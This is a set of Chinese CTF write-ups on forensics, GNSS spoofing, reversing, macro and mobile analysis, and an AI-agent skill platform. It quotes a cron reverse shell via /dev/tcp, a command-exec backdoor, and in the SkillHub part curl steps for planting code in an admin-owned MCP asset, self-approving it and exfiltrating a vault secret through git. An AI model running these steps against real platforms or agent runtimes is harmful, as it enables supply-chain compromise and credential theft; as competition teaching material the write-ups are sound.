Linux服务器入侵取证
tomcat-collector-v2 是 SEED,实际 AES key 为 0dbe221e1d2cc130c5cbd3c01bb09a69。当前 jar 接受的口令令牌是 29f645d42789;它虽可通过同一异或算法解码为 update,但程序没有在认证路径对它执行该解码。
192.168.140.1 | ||
hack520.jsppass | webapps/hack520/hack520.jsp_password = "pass" | |
45.96.120.15 | /etc/crontab/dev/tcp/45.96.120.15/2333,以及 /tmp/... | |
29f645d42789:id | update.jar 的认证逻辑;本地受控调用验证 | |
0dbe221e1d2cc130c5cbd3c01bb09a69 | ConfigCipher.getKey() 的两轮 RC4 派生 | |
elf_backdoor_stream_xor | /tmp/.flag6.txt 内容 |
取证与攻击链
通过用户提供的 SSH 入口读取证据,保存至 evidence/,没有运行远端恶意 jar 或 ELF,也没有修改远端任务和文件。只分析本次从远端取得的材料。
Apache 日志有攻击来源 192.168.140.1 的上传及文件包含请求。Tomcat 日志有管理后台访问及 /hack520/hack520.jsp 调用记录,文件本身仍在,密码在源码中可读。Tomcat 配置保留 tomcat/tomcat 管理账号;Manager 日志包含 /hack520 应用启停记录。这些支持管理界面和部署应用相关的入侵路径,但现有访问日志没有完整上传请求体,不能仅凭这些材料断定所有上传操作的内容。
/root/.bash_history 保留从 45.96.120.15 下载 shell.sh 至 /tmp/... 并执行的操作;该脚本写入每分钟反连 45.96.120.15:2333 的计划任务。/etc/rc.local 也保留相同下载来源。
update.jar 提供 org.apache.catalina.filters.UpdateFilter,把 URL 参数解码后交给 /bin/sh -c。commons-codec-1.10.jar 实际只有 ConfigCipher、Collector 两个业务类,采集信息、调用 /usr/local/bin/updater,最后把加密结果追加到 /var/log/tomcat-collect.log。ELF 再采集临时 flag 文件及系统信息,输出第二层密文并删除临时文件。
逆向与解密
1. 当前后门与旧备份
必须以当前 update.jar 为准,备份 update.jar.bak 是明文参数版本。当前版本常量:
K = 5c8f33ae77c12d
PASS_ENC = 29f645d42789
crypt(x)[i] = x[i] XOR K[i % 7] XOR ((9*i) & 255)
Tomcat 访问日志第 135–137 行保留 update=29f645d42789:35e2。异或还原前后两段可得到 update、id,但认证路径只对前半段执行 unhex() 并与 PASS_ENC 比较,不调用 crypt()。因此 update 不是当前 jar 实际接受的口令,实际口令令牌为 29f645d42789。
在本地 WSL 中使用 CheckBackdoor.java、当前 jar 和 Servlet API 构造请求代理,唯一测试命令为已确认的 id:
input=update:35e2 accepted=false
input=29f645d42789:35e2 accepted=true
[UPDATE OUTPUT]
uid=0(root) gid=0(root) groups=0(root)
[END]
日志见 backdoor-auth-verification.txt。这个实验确认实际口令和命令行为,不能代替比赛平台对整串答案的校验。
2. 伪装 jar 的 AES 加密
rc4Round 执行标准 RC4 KSA,然后输出 16 字节 PRGA 密钥流;没有将种子本身与流异或。每一轮重新初始化状态。
seed = UTF8("tomcat-collector-v2")
round1 = RC4(seed).keystream(16)
= 7af41d45fbc87f3427626a518bc10bff
key = RC4(round1).keystream(16)
= 0dbe221e1d2cc130c5cbd3c01bb09a69
ConfigCipher.encrypt 使用 AES/ECB/PKCS5Padding,对 AES 等价于 16 字节 PKCS#7 填充。TCC1: 后面是十六进制密文。解密成功后得到 12084 字节采集记录;脚本验证重新填充、加密可逐字节还原原密文。
3. UPX ELF 的流异或
/usr/local/bin/updater 是 UPX 4.2.4 加壳的 x86-64 ELF。本地使用 upx -d 解包为 updater.unpacked,没有执行恶意程序。反汇编中:
0x401552是 main;传入的第一个参数经十六进制解码,必须得到 16 字节 key。0x40105e是加密函数,状态初值为0x2f。0x401828附近删除/tmp/.flag6.txt,所以该文件现已不在文件系统不影响从日志恢复。
其逆变换为:
state = 0x2f
for i, c in enumerate(ciphertext):
state = (state + key[i % 16] + 0x11) & 255
plaintext[i] = c ^ state ^ ((19 * i) & 255)
对第一层明文中 UPD01: 后的 4703 字节数据执行逆变换,开头为:
=== updater collect ===
--- /tmp/.flag6.txt ---
flag6: elf_backdoor_stream_xor--- uname -a ---
flag6 的值以紧随其后的节标题为界。原临时文件没有换行,因此和下一节标题相连。
解密出的进程列表还包含一次删除旧日志、重建临时 flag、重启 Tomcat 的命令。这是采集时的进程快照,不能据此断言当前采集日志也不存在,更不能据此断言前五问的证据全部被删除。采集明文中部分 Apache 日期仍是 2023,当前日志被改为 2026;时间线存在整理痕迹,日期不宜作为唯一归因依据。
复现
环境:Python 3、PyCryptodome;ELF 静态分析使用 UPX 4.2.4 和 GNU objdump,Java 使用题目环境 JDK 8 的 javap。
python reinvestigate/decrypt.py
完整脚本会解密已保存的远端日志、保存两层明文,从日志、WebShell、计划任务取出答案并输出最终拼接。collect-01.txt 是第一层明文,updater-01-42.txt 是内层明文(具体行号后缀由脚本生成)。全部本地证据的 SHA-256 见 evidence-sha256.json。
flag{192.168.140.1_hack520.jsp:pass_45.96.120.15_29f645d42789:id_0dbe221e1d2cc130c5cbd3c01bb09a69_elf_backdoor_stream_xor}
无人机安全
天空在撒谎
材料字符串为:
486037000|GPS|GALILEO|75.0|37
按 UTF-8 编码计算 SHA-256,取小写十六进制摘要的前 32 个字符,得到:
flag{b347b01858cfa126cf7866ba0a413231}
字段判定
onset_itow | 486037000 | |
affected_constellation | GPS | |
reference_constellation | GALILEO | |
spoof_step_m | 75.0 | |
epoch_index | 37 | 从 0 开始编号 |
如何定位欺骗起点
逐帧解析附件,共得到 120 个校验通过的 UBX 报文,其中 NAV-PVT 和 RXM-RAWX 各 60 个,对应 60 个历元。iTOW 从 486000000 开始,每次增加 1000。
原始观测中存在两个星座:gnssId=0 和 gnssId=2。按 UBX 定义,它们分别对应 GPS 和 Galileo,因此材料字符串使用 GPS、GALILEO。u-blox[1]
关键不是直接寻找经纬度漂移,而是比较伪距实际增量与多普勒预测增量是否一致。UBX 的 prMes 单位是米,doMes 单位是 Hz,且多普勒正号表示卫星正在接近,因此预测的伪距变化使用负号。u-blox[2]
对同一颗卫星的相邻历元计算:
本附件的信号对应 GPS L1 C/A 与 Galileo E1 C;两者所在载频为 1575.42 MHz,使用波长:
信号编号与载频关系可由 UBX 信号表和信号文档核对。u-blox[3]
对每个星座的 6 颗卫星分别取残差中位数,起点附近的结果如下,单位为米:
| 37 | 486037000 | 74.997014 | -0.003122 |
因此,首个异常历元是 37,对应 iTOW 486037000。从这一历元开始,GPS 的伪距每个历元都比多普勒预测值额外增加约 75 米,而 GALILEO 仍然接近零。
用未受影响星座验证
在首次异常区间,即历元 36 → 37:
| +75.026086 | |||
| +0.034999 |
这不是只出现在一颗卫星上的异常:起点处 6 颗 GPS 卫星的残差全部落在 74.956759~75.041552 米之间;与此同时,6 颗 GALILEO 卫星的残差仅为 -0.039032~0.035731 米。检查整个文件,GALILEO 的逐星残差始终保持在约 ±0.0442 米以内。
用 GALILEO 的中位数作为对照,起点处的星座间残差差值为:
固定保留一位小数,即 75.0。
附件中的 fixType 始终为 3、gnssFixOK 始终置位;按协议,这表示接收机持续报告有效的 3D Fix,但这些状态本身不等于观测不存在欺骗。u-blox[4] 此外,本文件中的 GPS 伪距与载波相位被同步带偏,仅检查二者的一致性也会漏掉异常;真正暴露问题的是它们与多普勒之间的不一致。
Domain 42
最终 Flag 为:
flag{7461da3557d96d1773e21d06e0a47229}
对应的材料字符串是:
000003c2|105|7|-0.145|-0.5475|1605
1. 确定正确的参与者与 writer
对 domain42.pcap 的参与者发现报文进行解析,得到:
payload-bench | 01101234123456789abcdef0 | ||
maintenance-replay | 0110deadc0de001337420042 | ||
fc-primary | 0110aabbccddeeff10203040 |
按题目中的控制端角色,选择 Domain 42 的 fc-primary,其源 IP 为 10.13.0.3,命令 writer EntityId 为 000003c2。这里需要结合 GUID Prefix 区分参与者,不能仅凭端口或者 CRC 是否通过来筛选;GUID Prefix 是 RTPS 中标识参与者的字段。Fast DDS Docs[5]
2. 最后一条有效命令是序号 105,不是最后到达的 104
可信 writer 的命令记录如下:
7cb8b015 | |||
2fff46a3 | |||
6bd26c9f | |||
3b8b4de8 | |||
| 45 | 105 | cc8ee049 | 通过 |
3b8b4de8 |
第 46 帧虽然到达更晚,但其 RTPS 内容与第 44 帧完全相同,是旧序号 104 的重复包,不是一条更新的命令。
第 47 帧为同一 writer 的 HEARTBEAT,解析出的序号范围为 100~105,进一步印证最新序号为 105。HEARTBEAT 中的序号范围用于表明 writer 的样本序列状态,而不是按照抓包到达顺序重新编号。RTI Community[6]
3. 解码第 45 帧的 CDR 载荷并验证 CRC32
载荷封装头为 00 01 00 00,其表示标识 0x0001 对应小端 CDR_LE。Fast DDS Docs[7]
去掉四字节封装头后,应用数据为:
6900000007000000e17a14bef6280cbf4506000049e08ecc
按小端布局解码:
69 00 00 00 | 105 | |
07 00 00 00 | 7 | |
e1 7a 14 be | -0.1449999958 → -0.145 | |
f6 28 0c bf | -0.5475000143 → -0.5475 | |
45 06 00 00 | 1605 | |
49 e0 8e cc | 0xcc8ee049 |
CRC32 的计算范围为应用数据前 20 字节,不包含 CDR 封装头,也不包含末尾 CRC 字段:
6900000007000000e17a14bef6280cbf45060000
计算结果与载荷中存储的值一致:
计算 CRC32:0xcc8ee049
存储 CRC32:0xcc8ee049
我还用独立的逐位 CRC32 实现交叉验证,结果相同。
4. 计算最终摘要
对材料字符串的 UTF-8 字节计算 SHA-256,不加入换行:
000003c2|105|7|-0.145|-0.5475|1605
完整摘要为:
7461da3557d96d1773e21d06e0a47229c84fb49471796eb3a92948ff2d7442bf
取前 32 个小写十六进制字符,得到:
flag{7461da3557d96d1773e21d06e0a47229}
Reverse
八证词
恢复出的 Flag 是:
flag{utyzn4pgv6bvlilpasoq3o5s}
长度为 30 字节,已验证正确输入得到:
ok
验证时加载了原 EXE 的机器码并执行原主函数,仅适配 Windows 系统接口,没有修改校验逻辑或预期结果。正确输入返回码为 0;将首字母改成大写,或者删除最后一个字符,都会输出 ignored,返回码为 1。
解题关键
程序中内嵌了以 WIT8RS01 开头的数据,包含八个 worker,每个 worker 都有自己的操作码置换表、滚动解码密钥和 177 条虚拟机指令。
解码后,八份“证词”实际对应 GF(256) 上的三次多项式约束。对每一列,从八个取值中寻找至少六个一致的取值,就能纠正两个受损值,恢复预处理后的 32 字节:
12515a0466279f86ea3e59658a67600d46c32a68ec3557809edcb2fa782086be
随后逆向四个独立 8 字节块的差分变换、10 轮 Feistel 变换和初始异或掩码,得到:
flag{utyzn4pgv6bvlilpasoq3o5s}\x00\x00
最后两个 \x00 是内部填充,不要输入。
折叠端口
已解出,程序中填写:
Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1
Serial 是 64 个大写十六进制字符,不要加入空格。
验证结果
我将恢复的 Serial 交给原程序的解析函数,再通过原始运算函数执行全部 320 个单元,最终得到:
00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000
程序在 0x140003906 附近将最终结果与 32 字节全零数据比较,相等即设置成功标志。上述结果满足这一条件。
此外,独立 Python 实现与原始机器码的 320 组派生参数、320 个网络单元,以及 1280 次轮函数计算全部一致。验证使用的是原始核心函数,没有启动 Windows 图形界面。
核心解法
程序将 Serial 解析为 8 个小端 32 位整数,经过 80 层、每层 4 个单元的变换。
单元函数 0x140005A80 实际上是 Feistel 结构:
L_next = R
R_next = L XOR F(Username, unit_id, R)
因此可以直接逆推:
R = L_next
L = R_next XOR F(Username, unit_id, L_next)
轮函数虽然包含 SHA-256 参数派生、S 盒、乘法、循环移位和字节重排,但不需要求轮函数自身的逆函数,也不需要暴力破解。从最终的 8 个零出发,按单元编号 319 → 0 逆序恢复,就得到上面的 Serial。
复现脚本
solve_foldport.py · FoldPort_分析记录.md
脚本仅使用 Python 标准库,直接运行:
python solve_foldport.py
会输出正确 Serial 和 Mathematical verification: PASS。
Misc
宏安全审计
真正的 Flag 是:
flag{what_runs_is_not_what_you_read}
已完成纯静态恢复:没有启用宏,没有执行附件中的 VBA 或缓存字节码。恢复结果通过了顺序 CRC16、密文 CRC32 校验,并能反向编码回全部原始密文字节。
1. 可见 VBA 中的 Flag 是诱饵
解压 xl/vbaProject.bin,解析 OLE 结构后,在 VBA/Module1 流的 0x3BB 处找到压缩源码。源码中包含:
reportToken = "ZmxhZ3t2YmFfc291cmNlX2lzX3RydXN0ZWR9"
MsgBox "Audit passed: " & DecodeAuditToken(reportToken)
这段 Base64 解码得到:
flag{vba_source_is_trusted}
但对应函数的注释明确指出:
Historical compatibility stub. The source-side result is an audit decoy.
源码最后还写明:
Source-order 0,1,2,3,4 is only a compatibility lie.
因此,上述 Flag 和隐藏工作表给出的 0,1,2,3,4 顺序都不能直接采用。完整内容见Module1_source.txt。
这里需要区分可见源码和缓存证据:VBA 源码与编译后的 p-code 可以分别存储,单看源码不足以判断缓存中的内容。GitHub[8]
2. 从五个位置取出密文片段
附件将数据分散存放,并使用不同编码:
docProps/core.xmlAUD0 注释 | c5394c21b77dd5 | ||
xl/worksheets/sheet1.xmlAUD1 注释 | 1b23ce79c8c66f | ||
xl/workbook.xmlAUD2 注释 | 8d5bee1e692141 | ||
xl/vbaProject.binCTFSLOT3 | bc5792bede1239ec | ||
xl/embeddings/vbaCache.bin | c07c99b44ef969 |
其中,CTFSLOT3 标记位于 vbaProject.bin 内偏移 0x4201,对应载荷长度为 8 字节。这些提取值已保存在evidence.json中。
3. 静态恢复真正的拼接顺序和初始状态
vbaCache.bin 是一个 64 字节的自定义 VBCS 结构化记录,包含:
版本: 1
顺序 CRC16: 0x75E8
密文 CRC32: 0x473D22E8
栈式记录长度: 42 字节
末尾槽长度: 7 字节
它不是 Excel 原生 VBA p-code。根据源码中的操作码枚举,可以将其中五组固定表达式直接化简,不需要运行字节码:
0xA4 XOR 0xA7 = 3
0x38 XOR 0x39 = 1
0xD6 XOR 0xD2 = 4
0x6C XOR 0x6C = 0
0x57 XOR 0x55 = 2
所以真正的拼接顺序为:
3 → 1 → 4 → 0 → 2
后面的两条累加器记录给出初始状态。这里的 32 位操作数按小端读取,与文件头的校验值和长度字段不同:
c2 b7 31 8f → 0x8F31B7C2
37 ce 1a e2 → 0xE21ACE37
初始状态 = 0x8F31B7C2 XOR 0xE21ACE37
= 0x6D2B79F5
按上述顺序拼接后,得到 36 字节密文:
bc5792bede1239ec1b23ce79c8c66fc07c99b44ef969c5394c21b77dd58d5bee1e692141
校验结果如下,均与记录头一致:
03 01 04 00 02,CRC-16/CCITT-FALSE | 0x75E8 |
0x473D22E8 |
反过来,诱导顺序 0,1,2,3,4 的两个校验结果分别为 0x1C0F 和 0x1F1257EA,均不匹配。详细数值和字节轨迹见静态分析报告.md。
4. 解码与反向验证
从 state = 0x6D2B79F5 开始,每处理一个密文字节,先推进一次状态,再进行循环右移和异或:
def ror8(value, count):
return ((value >> count) | (value << (8 - count))) & 0xFF
state = 0x6D2B79F5
plaintext = bytearray()
for value in ciphertext:
state = (state ^ (state << 13)) & 0xFFFFFFFF
state = (state ^ (state >> 17)) & 0xFFFFFFFF
state = (state ^ (state << 5)) & 0xFFFFFFFF
count = (state >> 8) & 7
plaintext.append(ror8(value, count) ^ (state & 0xFF))
所得明文就是开头的 Flag。将明文按相反步骤——先异或状态低字节,再循环左移——重新编码后,36 个字节全部与原密文一致。
Vector Secrets
恢复出的 Flag 是:
FLAG{XOR_SHAPES_REVEAL_FLAG}
恢复依据
关键不在隐藏文本,而在于:复原两组矩形的坐标,再对它们做几何异或。
1. 找到被海报覆盖的几何数据
SVG 中,frame_83 包含 232 组 <use> 引用,分别指向 asset_000 至 asset_231。每组都有平移、矩阵变换和对应的 clipPath。
后绘制的 poster 首先放置了一个覆盖整个画布的不透明背景矩形,因此直接查看海报看不到这些几何数据。
2. 先裁剪,再还原全局坐标
对每个被引用的矩形,先与对应裁剪框求交,再应用其父级变换。对于:
<g transform="translate(tx ty)">
<g transform="matrix(a b c d e f)">
局部坐标到全局坐标的关系为:
计算时需要变换矩形的四个角,再重新确定边界,不能只变换左上角,否则遇到旋转、镜像会发生位置偏移。
232 个符号中共有 1,852 个矩形;裁剪排除了 464 个,剩下 1,388 个。它们变换后全部仍为 5×5 方块,落在起点为 (90,405)、步长为 5 的 168 列 × 7 行网格上。
3. 对两组坐标集合做 XOR
根据引用顺序和填色,可以分成两组:
asset_000asset_114 | #16263a#1b344d | ||
asset_115asset_231 | #24496b#2d5d87 |
两组各自内部没有重复坐标,但两组之间有 494 个重合位置。保留只出现在其中一组的位置,即计算对称差:
得到:
这 400 个方块形成了规则字形;直接取并集则只会得到杂乱的点阵。
4. 按几何网格拆分字符
异或结果中,每 6 列为一组:前 5 列构成字形,第 6 列全部为空。因此恰好得到 28 个 5×7 字符。
例如,第一个字符的占用矩阵为:
11111
10000
11110
10000
10000
10000
10000
对应 F。从左至右逐组读取,得到:
F L A G { X O R _ S H A P E S _ R E V E A L _ F L A G }
移动安全
eSIM迁移审计
恢复出的审计令牌是:
19d2cf987a3e049e5c5082d7c27a219d
这与上一步保存的令牌及成功验证记录一致,nativeProcessInput 的返回值为 1。 esim_audit_token verification
验证结果
保存的 native 验证记录包含三组对照:
nativeProcessInput | ||
|---|---|---|
1 | ||
19d2… 改为 19d3… | 0 | |
0 |
这三组结果说明,保存的成功结果同时依赖正确令牌和完整记录,而不是任意输入都能通过。 verification verification verification
APK 中应如何输入
这次重新检查了 classes.dex,确认审计按钮的逻辑是:
检查输入没有首尾空白,且已经是小写
↓
hexDecode:要求恰好 32 个十六进制字符,解码为 16 字节
↓
读取 incident 记录,并完成 nativeUnlock
↓
nativeProcessInput(输入字节, incident记录)
↓
返回 1 显示 “Correct”,否则显示 “Wrong”
OpposeAI
SkillHub
漏洞不在某个注入点,而在审计结论与运行时信任条件之间的缺口:安全扫描器 9 个引擎里 7 个 根本不存在(executable not found),只剩 manifest + inventory 两个只做"打包清单"级别的检查, 永远给 PASS;而内部 Agent 运行时装载 MCP 能力只看三件事——publisher_id == system_admin、 资源级 moderation_status == APPROVED、目标版本 version_moderation_status == APPROVED。
于是:以审核员身份,向官方 system_admin 名下的 MCP 资产追加一个自己写的版本(资产归属不变、 代码全换),自己给自己过审,运行时就会以 agentrt 身份拉起我们的代码。载荷读走保险箱里的 flag, 写进运行时与平台共享的内部 git 库并 push,平台下一次 internal-skill-sync 把它当普通 Skill 导入, flag 就直接出现在平台上。
1. 报告是空的:安全扫描器形同虚设
GET /api/v1/security-audit/reports/<asset_id>/<version>:
"engine_statuses": {"osv":"FAILED","sbom":"FAILED","yara":"FAILED","trivy":"FAILED",
"clamav":"FAILED","gitleaks":"FAILED","manifest":"SUCCEEDED",
"inventory":"SUCCEEDED","skillspector":"FAILED"},
"engine_details": {"osv":"osv-scanner executable not found", "trivy":"trivy executable not found", ...}
9 个引擎 7 个因为可执行文件不存在直接 FAILED,真正跑起来的只有:
manifest | PY-DYNAMIC-EXEC) |
inventory |
也就是说,"通过安全审计"的输入里根本不包含文件内容——报告只覆盖了"包里有什么文件"。 这正是题面里"没有人会去问那份报告到底看了什么"的实体。
初始 1.0.0 版本、以及我们后来的载荷版本,verdict 要么 PASS 要么 REVIEW,从不 BLOCK, 过审毫无阻力。
2. 从 agent-runtime-guide 读出装载契约
平台公开列表里就有一份 agent-runtime-guide(system_admin 发布),把内部约定写得清清楚楚:
SkillHub(平台,人工审核 + 安全审计) │ 审核通过
▼内部能力仓库 agent-skill-hub ──pull──▶ 内部 Agent 运行时
▲ │ └──── SkillHub Bot 机器人写回 ◀──── 平台 Git 导出任务
装载条件(三个都要满足):
publisher_id == system_admin | |
moderation_status == APPROVED | |
version_moderation_status == APPROVED |
运行环境:运行时以 agentrt(uid 1001) 运行,能力进程与运行时同身份,可读运行时保险箱 $SKILLHUB_AGENT_VAULT(默认 /srv/agent/vault,存放 Agent 侧凭据面,0400 agentrt) 和内部能力仓库工作副本 /srv/agent/repo。运行时每 15s 轮询一次平台,同一个 (asset_id, version) 只装载一次。
注意详情接口用 PATCH 而不是 GET(GET 返回 405)——这是前端拉取资产详情的方式。
3. 把自己的代码挂到官方资产上
POST /api/v1/plugins(multipart + X-Checksum-SHA256)。直接发新包 publisher_id 只能是自己, 运行时不会装载。关键点:带上 plugin_id 参数,服务端按"包内 plugin.yaml 的 name == 目标资产名" 校验,就把新版本追加到别人的资产上——资产归属仍是 system_admin,代码却是攻击者的:
curl -X POST "$T/api/v1/plugins" \
-H "Authorization: Bearer $TOK" -H "X-Checksum-SHA256: $SHA" \
-F "file=@skillhub-inventory-mcp-9.0.19990.zip" \
-F "plugin_id=87addcb533d8410cba47aed508813b9a" \
-F "expected_plugin_type=mcp-stdio"
# -> {"plugin_id":"87addcb533d8410cba47aed508813b9a", ...}
# storage_url: plugins/<我>/87addcb.../9.0.19990/... ← 路径里是我的 id,资产归属却是 system_admin
包的硬性要求(踩坑记录):
ZIP 必须有恰好一层顶层目录, plugin.yaml在第一层里;缺README.md会被invalid_plugin_structure拒掉。.mcp.json的校验挡住的是命令形式(不能sh -c、不能绝对路径),不是内容: 用python3 src/server.py这个完全合规的形态,把载荷放进脚本里即可。
4. 补齐装载三条件:自己审自己
新版本发布后资源级状态变 PENDING。用审核员身份:
curl -X POST "$T/api/v1/plugins/$ASSET/moderation" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"action":"approve","version":"9.0.19990"}'
(扫描 job 落库前会 409,重试几次即可;也可以用返回里的 security_report_id 带上。) 版本过审后,三条件同时满足:publisher_id=system_admin + 资源 APPROVED + 版本 APPROVED。
5. 触发装载,把 flag 带出来
curl -X POST "$T/api/v1/plugins/git-export-jobs/run-once"
# 包推到 /srv/git/agent-skill-hub.gitcurl -X POST "$T/api/v1/plugins/internal-skill-sync" -d '{"pull":true}'
运行时 15s 内轮询到新版本,以 agentrt 身份拉起 python3 src/server.py。载荷干三件事:
读 $SKILLHUB_AGENT_VAULT/flag(与运行时同身份,读得到);写进共享仓库 skills/exfil-marker/SKILL.md,git add/commit/push回共享裸库;按 MCP stdio 约定把结果吐到 stdout(对运行时保持"正常 MCP 服务"的样子)。
之后平台的下一次 internal-skill-sync 拉取共享仓库,把 exfil-marker 当普通 Skill 导入, flag 就出现在资产的 short_desc / detail_desc 里:
asset: fb45d9dd96c44531a4b410c355847a45 name=exfil-marker publisher=system_adminshort_desc = flag{2a2e13c34bccc3747a95c22889145db5}
引用链接
[1]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf
[2]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf
[3]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf
[4]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf
[5]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/latest/fastdds/discovery/discovery_server.html?utm_source=chatgpt.com
[6]RTI Community: https://community.rti.com/forum-topic/connext-logs?utm_source=chatgpt.com
[7]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/v2.6.12/fastdds/api_reference/rtps/common/SerializedPayload/defines.html?utm_source=chatgpt.com
[8]GitHub: https://github.com/bontchev/pcodedmp?utm_source=chatgpt.com